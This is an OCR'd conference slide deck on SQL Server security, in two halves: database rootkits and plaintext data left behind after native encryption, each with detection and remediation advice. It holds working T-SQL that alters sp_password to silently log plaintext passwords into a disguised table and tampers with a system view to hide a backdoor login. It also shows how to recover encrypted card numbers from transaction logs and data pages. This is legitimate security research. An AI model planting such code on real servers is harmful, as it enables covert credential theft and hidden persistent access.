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Presentation overview

*¢* Double feature

= SQL Server rootkits
= Covertly maintaining unauthorized access
= Examples that can be applied to any SQL Server
= Using native Microsoft functionality

= Native encryption, residual exposure
= Recovery of plain text data post-encryption
= Using native Microsoft functionality
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SQL Server rootkits

+¢» Attackers use OS rootkits to conceal unauthorized access

** OS rootkits usually miss-represent or conceal the following:
= Logins\users
= Processes
= Executables\files
= Registry entries
= Active port s\services
= Etc.

+* SQL Server rootkits can achieve the same result within the RDBMS
environment

¢ OS rootkit detection tools are ineffective

¢ Alexander Kombrust’s research
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SQL Server rootkits | generations

*¢* Generations of database rootkits

First generation
= Alter database objects such as stored procedures, functions and views
= Affect the objects within database data files.

Second generation

= |nject or alter code within RDBMS libraries altering the logic used by core database
executables.

= Affect the actual libraries used by the RDBMS.

Third generation

= Directly inject or alter the contents of memory allocated by the RDBMS. When in-
memory code is altered or injected it is later executed by the RDBMS.
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SQL Server rootkits | introduction

** How are SQL Server rootkits introduced?
= QObject translation tampering
= Object tampering

Logins
Table
Tampered Evan

View — Hacker

Barbara
System
Tabla

Logins
Evan
Barbara

Cuery
Results

Select *
from ...

User

+¢» Database rootkit introduction methods and effectiveness will differ
depending on SQL Server Version (2000, 2005 & 2008)
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SQL Server rootkits | on SQL Server 2000

«¢» SQL Server 2000 characteristics

= Supports direct system object modifications
= (Can be introduced without restart of MSSqlServer service
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SQL Server rootkits | on SQL Server 2000

** Object tampering example:

= Covert password logging

% Steps
1) Tamper with the sp_password procedure

- Used by database users to reset passwords
- Used by the SQL Server Enterprise Manager GUI to reset passwords

** Step detail
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SQL Server rootkits | on SQL Server 2000

1) Tamper with the sp_password procedure

12/23/2008

Execute as per norm but silently record the login name, password, and date of
password change.

Alter procedure sp_password

AS

<Omitted procedure logic>...

-- ** Capture plain text password and write to database table

-- Create inconspicuous MSReplication table to hold captured passwords if
it does not already exist
if not exists (select * from master..sysobjects where name =
'MSReplication' and type = 'U")
BEGIN
CREATE TABLE Master..MSReplication (Login VARCHAR(100),
[Password] varchar(100), DateChanged VARCHAR(100))
END

-- Write username, plain text password and date of password change to the
MSReplication table
INSERT INTO Master..MSReplication VALUES (@loginame, @new,
GETDATE())

-- ** Now back to the regular procedure execution

<Omitted procedure logic>...
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SQL Server rootkits | on SQL Server 2000

*»» Password resets performed via sp_password or the Enterprise

Manager GUI WiII nOW Silently reco r-d- il Query - WS-DEMO.master.WS-DEMO', Administrato... !EE
select ¥ from master..msSreplication ;I
= Login name -
4| | i
| |
NeWIv Set password Username |[Password |DateChanged |
1 Cart Warrior Febh 21 zZ005 9:57PH
= Date of password change
2 Lynn Integra Feb 27 zZ008 9:57FPH
3 Corynn LiteBrite Mar 01 2003 5S5:00PHM
4 Victoria password Febh 27 2005 10:30FPHM
5 |Buzzy  PEjjword Feh 27 2008 10:33PH
General erver Roles atabase Access
| everes] Datms oo f Buzzy Flijdword Aug 2 Z005 4:47PM
G e o 7 |cort NULL iug 21 2008 9:09PN
Authentication
(B Wiy et - a Buzzy PESSword Aug 27 Z003 Z:59FPM
Domaih; Iﬁ
Securty access
) Grant sccess
€ Deny aooess
{8 SOL Server Authentication
Pazswaord: Im—
Delaults
Specify the default language and databasze for this login.
& Database: Ih ==
N [ Grids [EH Messages|
ok | _Cod | ep | \WS-DEMOLAdmini master | 0:00:00  |Grid #1: Srows |nl, Coll
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SQL Server rootkits | on SQL Server 2005

+*¢* SQL Server 2005 characteristics

= Does not support updates to system objects according to SQL Server Books
Online:

“SQL Server does not support users directly updating the information in system
objects such as system tables, system stored procedures, and catalog views”

= To protect system objects they have been moved to a hidden system resource
database and accessed via views

= The stated revocation of direct system access actually makes SQL Server 2005
more susceptible to rootkits!

» | Sysdatabases » Databazas
6 View View

User
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SQL Server rootkits | on SQL Server 2005

** Object tampering example:
= Hide the backdoor EASYACCESS login from detection

% Steps
1) Copy and attach the hidden resource database
2) Login via DAC
3) Script the sys.server _principals view
4) Tamper with the sys.server_principals view
= Used by SSMS, syslogins, sys.logins
5) Introduce the rootkit

*» Step detail
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SQL Server rootkits | on SQL Server 2005

1) Copy and attach the hidden resource database

= Using SQL Server Management Studio results in error

Microsoft SQL Server Management Studio Express

@ Attach database failed for Server 'WEVVIE-PC\SQLFORENSICS'. (Microsoft. SqlServer Express.Sma)

Additional information:

i.»  An exception occurred while executing a Transact-SGQL statement or batch.
(Microsoft. SglServer . Express. ConnectionInfo)

{3 You cannot perform this operation for the resource database. (Microsoft SQL Server, Error:
4518)

O =

= But using query editor works...

CREATE DATABASE [mssqlsystemresource-copy] ON

(FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL.1\
MSSQL\Data\mssqglsystemresource-copy.mdf'),

(FILENAME = N'C:\Program Files\Microsoft SQL Server\MSSQL.1\
MSSQL\Data\mssqlsystemresource-copy.ldf')

FOR ATTACH
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SQL Server rootkits | on SQL Server 2005

= Resource database will remain in Read-only mode (SP2 and higher)

ﬁ mssqlsystemresource-55FA (Read-Only)
= Mark database as writeable

sp_dboption 'mssqglsystemresource-copy’, '‘Read_Only', ‘'false'
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SQL Server rootkits | on SQL Server 2005

2) Login via Dedicated Administrator Connection (DAC)

12/23/2008

1 Connect to Database Engine ==
Microsoft: 2% Windows Server System
SQL Server 2005
Server type: | Database Engine v|

Server name: 500 -
Authentication: [Wnd-crwsh.tl'ﬁtica‘.ion v]
User name: | Kevvie-FC\Kevvie - |
Password: | |
[ ] Remember password
| Comect || Cancel |[ Heb |[ Options>> |
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SQL Server rootkits | on SQL Server 2005

3) Script sys.server_principals view

12/23/2008

-
- -

sys, SErver_principals
Eﬂ sya,server_role_men
sys,server_sgl_mody
' sws.server_trigger e
svs. server_triggers
SYS5.SEIVErS

sys, service_broker d
sys.5ervice_conkract

svs. service_contrack
sws, service_conkrack
' sY5.5EFviCe_Mmessagd
sys.service_queue_L
ET] SY5.5EFVICE_quedss
SYS.SErvICES
Ei—] sys,s0ap_endpoinks
svs,50l_dependencie

E!—] svs,5ql_logins

HEHEMNEMNEBEEBGFBRGEBGFFEB

E[—] svs,s0_modules
El—] aya,shats

Mew Yiew, .,
Edit
Design
Cipen Yiew
Scripk Wiew as » CREATE To
View Dependencies ALTER To Mew Query Editar Window
DROP To .
Reports 3 File...
2ELECT To Clipboard
Fename
INSERT To
Delete
UPDATE To
L DELETE To
Properties
EXECUTE To
— |
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SQL Server rootkits | on SQL Server 2005

4) Tamper with view the sys.server _principals view
= Hide the EASYACCESS login from the view results

ALTER VIEW [sys].[server_principals] AS
SELECT p.name,
p.id AS principal_id,
p.sid, p.type,
n.name AS type_desc,
is_disabled = convert(bit, p.status & 0x80),
p.crdate AS create_date,
p.modate AS modify_date,
p.dbname AS default_database name,
p.lang AS default_language_name,
r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = 'LGTY' AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0
-- SRC_LOGIN_CREDENTIAL
WHERE p.type <> 'M' AND p.name <> 'EASYACCESS'
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SQL Server rootkits | on SQL Server 2005

5) Introduce the rootkit
=  Stop MSSQLServer service

= Replace existing resource database files with tampered equivalents
= Start MSSQLServer service

*¢* The end result

= The EASYACCESS account is hidden from identification within
= SQL Server Management Studio (GUI)
= Direct calls to the sys.server_principals view
= Direct calls to the sys.syslogins view
= Direct calls to the sys.logins view

12/23/2008 17
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SQL Server rootkits | on SQL Server 2005

*¢* The EASYACCESS account although hidden within various areas of

SQL Server is still visible within the sys.sysxlgns system base table

=03 ?DEE”L”“{ ADMIN:WINZK3...0LQuery2.sql* | T X
= LEEI::::p.ﬁ.dmin | select name from master.sys.sSysxlgns II
£y BUILTINAdmiristrators v
A JEmanuel _] Results | 3 Messages |
£ M3mith | ﬂ
A NT AUTHORITYISYSTEM nams
& ooadmin 18 | dizkadmin
A OSApp 19 | EASYACCESS | =
RSanford
g - anrer 20 | JEmanuel
A4 WINZK3-DEY\Administrator
WINZK3-DEVISOLServer2005MSFTEUser $ W INZK 3-DEY$SOLFORERSICS
WINZK3-DEVYIOLIerver2005M3S0LUser $WINZK 3-DEY$ILFOREMSICS
WINZK3-DEVISOLServer200550LAgentUser P INZK 3-DEV$SOLFORERSICS
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SQL Server rootkits | on SQL Server 2005

** Other possibilities
= SQL Server Management Studio and associated objects

= Hide processes (Activity Monitor, sp_wo, sp_who2)
* Hide database endpoints (listeners)
= Falsify the status of high-risk objects/settings (xp_Cmdshell, OPENROWSET)
* Hide jobs and triggers
= Cloak tables, procedures or functions
= Skew object permissions
= And much more...
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SQL Server rootkits | on SQL Server 2008

** SQL Server 2008 characteristics
= Direct system object modifications are still ‘prohibited’
= Changes in the resource database

= At the time of this presentation no known method of object tampering
within SQL Server 2008 is known.

ringzero

12/23/2008 20



SQL Server rootkits | detection

*» Detecting SQL Server rootkits

= Compare high-level and low-level information

= Data from high level views should be compared with that of low level views and
system base tables

ADMIN:WINEKE...QLQueryE.sqI*] -
SELECT m=s=s.1d, msSs.hname, ms3s.crdate, mss.modate
FEOM master.=sys.syvsxlgns mss
WHERE mss.name MNOT IN (SELECT nawme frow sys.sServer principals)

and mwss.type not in (MY, 'R']l -
1| | b
] Results | 3 Messages
id hame crdate rodate

1 I 309 | EASYACCESS | 2008-09-31 0%:26:11.437  2008-09-31 0%:26:11 450
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SQL Server rootkits | detection

% Detecting SQL Server rootkits (continued)

= Script and compare object definitions against a known good source
= RKTDetection.sql will be posted on www.applicationforensics.com

— Scripts each line of every system procedure, view and
function within a SQL Server database

— On a default SQL Server 2005 installation over 158,447 lines of
syntax in about 15 minutes

= Follow accompanying instructions to generate and compare checksums and identify
object tampering

object line trusted _syntan urtrusted_syrta
sys.syslogins 1 CREATE VIEW sys.syslogins A5 SELECT CREATE VIEW [sys] [syslogins] AS SELECT
gys syslogins 41 WHERE ptype <= 'R [ WHERE p type <= 'R and p.name < EASYACCESS]
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Native encryption, residual exposure

Native encryption, residual exposure
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Native SQL Server encryption | overview

**» Native SQL Server data encryption
= Encryption at-rest provides an additional level of data access control
= Restricts the mighty db_owner and sysadmin from accessing data
= (Can even restrict SQL Server itself from accessing data

** How is encryption implemented?
= Symmetric keys
=  Asymmetric keys
= Certificates
= Encryption by pass-phrase
= Transparent Data Encryption (TDE) — SQL Server 2008 only
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Native SQL Server encryption | SQL Server 2005

**» So what'’s the problem?

= Encryption is an add-on to core database functionality designed over 20 years
ago

= Native encryption does not protect data when stored by this core database
functionality

= This miss-alignment can result in the exposure of the plaintext data, post-
encryption

** White papers, web-sites and industry experts usually recommend

one of three common approaches to native data encryption:
Option 1: In-place update
Option 2: Create an encrypted column and delete the original
Option 3: Create a new table with encrypted column and delete the
original
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Native SQL Server encryption | SQL Server 2005

** Sample table: CCData

Table details Symmetric key details
_PROD-SQLO5\SQLF... SQLQuery7.sql* | = il Name: CCsymKey
celect - from codata . Algorithm: Triple_DES
- Key bit: 128

-
=
-

[ Results E__} Mezzages

I FMName LMName CCType CCMumber

£ 12 | Kalanit Higgins Visa 4723183484485550

.............

13 Owen MackKenna \Visa 448524053652H050
14 Samantha Fitzpatrick  Amex 328232819022282

15 Kalare Cullen Visa 4BRE4RRE12426280
Zachary  Bell Amex 378726458367343

17 Rachel Oleary Amex 328728450382343

18 Adam Scott Amex 372705439286547

15 HKalea Keane Wisa 4556456817426780
20 Kamali Kennedy Visa 4024007102243
Aidan Artioch Visa 4532353284602910

00D = N e (R —
—
=5}

—
[=]
[
=
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Native SQL Server encryption | SQL Server 2005

Option 1: In-place update

= Convert the targeted column’s data type to varbinary (if required)

=  Perform in-place update of plaintext values with ciphertext

UPDATE CCDATA SET CCNumber =
ENCRYPTBYKEY(KEY_GUID('CCsymKey'),

CCNumber)

=  Results:

_PROD-SQLOS\SQLF... SQLQuery7.sql"|

select * from ccdata

4 11 |

va

F]

[ Resutts Eg Messages

ID FName LName CCType
12 Kalanit Higgins Visa
13 Crwen Mackenna Visa

14 Samantha Fitzpatick — Amex

15 Kalare Cullen Visa
16 Zachary Bell Amex
17 Rachel OLeary Amex
12 Adam Scott Amex
19  Kalea Keane Visa

LT-T0 - - - PRSI S R L R

20 Kamali Kennedy Visa
21 Aidan Antioch Viza

—ry
=

12/23/2008

CCMNumber

<00065EFE1130FB42B52542DEDECYEEFAD 1 D00D00CEDIBIATTECAARCA. ..
<00D65EFE1180FB42B52542DEDECIEEFAD 1 D000D00FC452605633A30DS...
<00D65EFE1180FB42B52542DEDECHEEFAD T 00000030 15CBESTIEETZARS. .
<00D65EFE1180FB42B52542DEDECSEEFAD 1 D00D00DESBS210AFTATF172. .
<00D65EFE1180FB42B52542DEDECIEEFADT000000DASDE7173DABT96A. .

(x00D65EFG1180FB42B52542DEDECIEEFAD1D000D00094F 1C4DB15405D2. .

(<00065EFE11530FB42B5254 20 EDECIEEFAD DO0D00E1108CBEFSAFITBCTY ..
(<00065EFE1180FB42B5254 20 EDECISEFADT D0000082051CIBICAEBAIET...
(<00065EFE1180FB42B9254 20 EDECIEEFAD D00D003EE3AB91204343E65 ..
(<00065EFE1100FB42B9254 2D EDECIEEFADTD0000021C51388B1A135EDC...

27
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Native SQL Server encryption | SQL Server 2005

Option 1: Residual plain-text data

= Transaction log entries

RowLog Contents 0

0x34004B616C65614B65616E652056697
361343535363439363831373432363738
30

RowlLog Contents 1

0x60004B616C65614B65616E652056697
36100D65EF61180FB42B92542DEOECO6E
FA0100000082051C9B9C46BA361A45D30
C9246A4012BBF84FBESFC34EODAE61126
EO13AF91852E8BF67034E9A6

= Recovery: _PROD-SQLO5\SQLF... SQLQuery8.sql* | PROD-5QL05\SQLF... SQLQueny.sql* | - X

as "CCHumber'

1| 1] |

gelect convert (wvarchar, 0x343535363430936383137343236373830)

-

-

CH Results | [[3 Messages

CCMumber
1 4556496817426780 |

12/23/2008 28
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Native SQL Server encryption | SQL Server 2005

Option 2: Create an encrypted column and delete the original

= Create a new column with the varbinary data type

ALTER TABLE CCData ADD CCNumber_Temp [varbinary](max)

= Insert ciphertext values into the new column

UPDATE CCDATA SET CCNumber_Temp =
ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber)

= Delete original column containing plain-text values

ALTER TABLE CCData DROP COLUMN CCNumber_Temp

= Rename new column to replace old name

EXEC sp_rename ‘CCData.[CCNumber_Temp]’, ‘CCNumber’, 'COLUMN'

ringzero
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Native SQL Server encryption | SQL Server 2005

Option 2: Results
=  Within the SSMS and Query Editor, credit card numbers are encrypted

- PROD-SQLOS\SQLF... SQLQuery7.sql" | ~

x
—

select = from ccdata

4 | i | 3

CH Resuts | [Jy Messages

ID  FMName LMame CCType CCMumber

i 12 | Kalanit Higgins \isa (00DEREFET120FB42B92542DEDECSEEFADT DODDDOCBDIBIATTECAAFCA. ..

.............

13 Owen Mackenna \isa (00D65EFET180FB42B92542DEDECSGEFADT DO0000FC4526D5623A50DS. .
14 Samantha Fitzpatick  Amex <00D65EFET1180FB42B925420 EDECSEEFADT D00000501 5CEBERTIEET2ARE. .

1

2

3

4 15 Kalare Cullen \isa x00D65EFET120FB42B32542DEDECIEEFADT DODDDODESEI210AFIATFITZ. .
5 16  ZJachary  Bel Amex E<00D65EFET180FB42B52542DE0ECIEEFAD DOD000DASDETT7I0DAS196A. ..
6 17 Rachel OLeary Amese (00DGREFET120FB42B532542DE0ECHEEFADT D00000034F1C4DB 1540502
7 18 Adam Scott Amex 00D65EFET180FB42B92542DEDECSEEFADT DO0000ET108CESFSAFIIBCT...
8 19  Kalea Keane Visa <00D65EFET180FB42B92542DE0ECIEEFADT DO000082051C9B5C46BA361...
) 20 Kamali Kenmedy — \isa (x00DEREFET120FB42BI2542DEDECSEEFADT DODDD03ER3AZI12D4349E6E. .

=
~

Aidan Antioch Visa (00D65EFET180FB42B9254 2D EDECSEEFADT BO000031CE1588B1A135EDC. ..

=  But are they?
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Native SQL Server encryption | SQL Server 2005

Option 2: Residual plain-text data

= Data pages still contain the “deleted” credit card data within the dropped column

DBCC Page (SecTor2008, 1, 73, 2)

4RA3ICOTO:

00280038 004b6lé6c 616263974 48626767 t.(.8.KalanitHigg
4RL3ICOBO: 69627320 56697361 34373233 31383334 tins VisadT7231834
4RL3ICO80: 38343438 39353930 30000800 04000000 T84485955%00.......
4RR3COAD: 0500e004 00150022 00260036 O004£7765 t....... ".&.6.0we
4AA3COB0: 624d6le3 4b6See6e 61205663 T3613434 tnMacEenna Visad4
4RR3ICOCO: 38353234 30353836 35323530 39303000 +852405865250800.
4RL3ICODO: 08000e00 00000500 2004001d 0028002d t............. ) .-
4RL3ICOED: 003c0053 616d6l6e T4686146 63747270 t.<.S5amanthaFitzp
4RL3ICOFD: 61747269 636b2041 64657833 32383233 fatrick Bmex32823
4RA3C100: 32383139 30323232 38323000 08000f00 +28190222820.....
4RA3C110: 00000500 =004001b 00220026 0036004b f......... ".&.6.K
4RA3IC120: 6l6chl72 6543756c 6chb56e20 56697361 talareCullen Visa
4RL3IC130: 34353536 34353638 31323432 36323830 t4556456812426280
4RR3IC140: 30000800 10000000 0500e004 001c0021 +0.............. !
4RA3C150: 00250034 00526163 68617279 42656cec T.%.4.ZacharyBell
4RL3C160: 20416d65 TE333738 37323634 35383336 T Amex3TBT2645836
4RL3IC1TO: 37333433 30000800 11000000 0500e004 +73430...........
4AA3C180: 001b0021 00250034 00526163 68656c4f f...!.%.4.Rachell
4RL3IC180: 4c656172 T94l6des TB333238 32323834 flLearyAmex3282284
4RL3CLIRO: 35383338 32333433 30000800 12000000 T583823430.......
4RA3C1BO: 05002004 0013001f 00230032 0041646l T......... #.2.Rda
4RA3C1CO: 6ds3636f 74742041 64657833 37323730 ftmScott Rmex3TZTO0
4RA3C1DO: 35343339 32383635 34373000 08001300 t54352865470.....

12/23/2008

PROD-5QLO5\SGLF... 50LQuen@.sqi* * PROD-SQLOS\SQLF... SQLQuery8.sql* =

select convert
as 'CCHumber'

(varchar, 0x34373233313833343834343839353930)

(3

-

9|4| Tl | P

E Results Lja Messages

CCMNumber

= Varbinary data can be easily converted to
reveal the plain text credit card data

=DBCC CLEANTABLE is in-effective

ringzero
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Native SQL Server encryption | SQL Server 2005

Option 3: Create a new table with encrypted column, add ciphertext
and delete the original table

= Create mirror table (CCData_temp) using the varbinary data type
= Copy data to the new table excluding plain text credit card data!

INSERT INTO CCData_temp (ID, FName, LName, CCType, CCNumber)
Select ID, Fname, LName, CCType, 0 from ccdata

ringzero
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Native SQL Server encryption | SQL Server 2005

Option 3: Create a new table with encrypted column, add ciphertext
and delete the original table (continued)

= Update new column with encrypted values

UPDATE ccdt

set ccdt. CCNumber=ccd.CCNumber

FROM ccdata_temp ccdt

INNER JOIN

(select id, ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber)
AS 'CCNumber

from CCData

GROUP BY ID, CCNumber)ccd

on ccdt.id = ccd.id

= DROP original table and rename temp table

DROP table CCData
EXEC sp_rename ‘CCData_temp’, ‘CCData’

ringzero
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Native SQL Server encryption | SQL Server 2005

Option 3: Residual plain-text data

Data pages still contain the “deleted” credit card data within the dropped table

PROD-SQLOS\SQLF... 5QLQuend.sqi* ' PROD-SQLOS\SQLF-.. SQLQuery8.sql*

gelect convert
'CCHumber'

(varchar, 0x343732333138333438343438393535930)

] | 3

4

-

] Results Eg Messages

CCMumber

= Varbinary data can be easily converted to
reveal the plain text credit card data

| |
DBCC Page (SecTor2008, 1, 73, 2)
L\
4RAICOTO: 00280038 004b6léc 61l6e6974 48696767 t.(.8.KalanitHigg
4ARA3IC0O80: 6962T320 56697361 34373233 31383334 ftins VisadT231834
4LA3C090: 38343438 39353930 30000800 04000000 +8B44895900.......
4LRAICO0A0: 05002004 00190022 00260036 004f7765 +....... "E.6.Owe as
4LAZICOB0: 6e4d6leld 4beSeebe 61205669 T3613434 tnMacKenna Visad4 T
4RAZICOCO: 38353234 30353836 35323530 359303000 t852405865250900. 4|
4RAZICOD0: 0800000 00000500 =004001d 0029002d t.o.ie i nnnnns b=
4RAICOED: 003c0053 6ledeles 74656146 69747a70 t.<.5amanthaFits
4RAICOF0D: 61747269 63602041 6d465TE33 32383233 ftatrick Amex32823
4AA3ICI00: 32383139 30323232 38323000 08000£f00 +281890222820.....
4AA3ICIA0: 00000500 004001k 00220026 0036004b f.....0.040.. "L E.B.E 1
4RA3ICI20: 6lecel72 ©543756c bcebeeZl S6e8736l talareCullen Visa
4RA3ICI30: 34353536 34353638 31323432 36323830 T4556456812426220
4AA3IC140: 30000800 10000000 05002004 001cO0021 0. .0 e e ennsnns 1
4AA3ICIS0: 00250034 00526163 68617279 42656chbc T.3%.4.ZacharyBell
4ARA3ICI60: 20416d65 TB333738 37323634 35383336 T Amex3TETZ2645836
4ARA3ICITO: 37333433 30000800 11000000 05002004 +73430. .. .00 inues
4RA3ICI80: 001k0021 00250034 00526l6e3 62e656c4f +...1.%.4.Rachell
4RA3ICI90: 4ceo56l72 T941leded V8333238 32323834 tlLearyhmex3ZE22E4
4LR3ICIR0: 35383338 32333433 30000800 12000000 T583823430.......
4RAR3ICIBO: 0500e004 0019001f 00230032 00416461 t......... ¥.2.4da
4RR3ICICO: 6d53636f 74742041 €de5TE33 37323730 tmScott Amex3T7270
4RAZICIDO: 35343339 32383635 34373000 08001300 +54392865470.....
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*** Transparent Data Encryption (TDE) within SQL Server 2008 fixes the
problem...right?

** The same methods can be used on SQL Server 2008 with TDE
enabled to recover pre-encryption plaintext values from active VLF’s
and data pages

** TDE prevents recovery of plain text data from reusable VLF regions
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** What’s the best method to encrypt data?

1.

o v kA wnN

Create a new database

Transfer all objects and data excluding the data to be encrypted!
Update newly created table with generated ciphertext
Checkpoint transaction log

Clear buffer pool

Permanently delete the original database data and log files

** Result

No residual sensitive plaintext data within the transaction log
No residual sensitive plaintext data left within database data page(s)

¢ Practical? not in all scenarios. So an alternative approach...
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** An easier alternative

1. Create a new table
=  Mirroring the structure of the original table containing the plain text values

2. Copy data to the new table excluding plain text credit card data!

INSERT INTO CCData_temp (ID, FName, LName, CCType, CCNumber)
Select ID, Fname, LName, CCType, 0 from ccdata
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%* An easier alternative (continued)

12/23/2008

3. Update temp table with CCNumber ciphertext

UPDATE ccdt

set ccdt. CCNumber=ccd.CCNumber

FROM ccdata_temp ccdt

INNER JOIN

(selectid, ENCRYPTBYKEY(KEY_GUID('CCsymKey'), CCNumber)
AS 'CCNumber

from CCData

GROUP BY ID, CCNumber)ccd

on ccdt.id = ccd.id

4. Set database recovery model to simple
5. Overwrite plain text credit card data with the exact number of zero’s

UPDATE CCData SET CCNumber = CONVERT (varbinary, REPLICATE
(0, LEN(CCNumber)))
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¢ An easier alternative (continued)
6. Apply required permissions on CCData_temp table
7. Truncate the original CCData table

TRUNCATE table CCData

8. Rename the temp table to CCData

EXEC sp_rename ‘CCData_temp’, ‘CCData’

9. Checkpoint
10. Clear in-memory data pages (DBCC DROPCLEANBUFFERS)
11. Enable TDE (SQL Server 2008 only)

** The end result
= No residual plaintext credit card data within active VLF’s
= Offline transaction log carving prevention
= No plaintext credit card data left on data page(s)
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*¢» How Microsoft can fix this issue

= When encryption is used, protect the plaintext data within the transaction log
(use encryption or restrict user interaction with it all together)

= When the plaintext format of encrypted data has completed it’s use, overwrite
it prior to making the VLF as reusable

= Add a permanent deletion method that users can use to delete plaintext data
during data encryption
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*** Thank-you! | additional information:
Kevvie Fowler | kevvie.fowler@ringzero.ca

Copyrightsd Material
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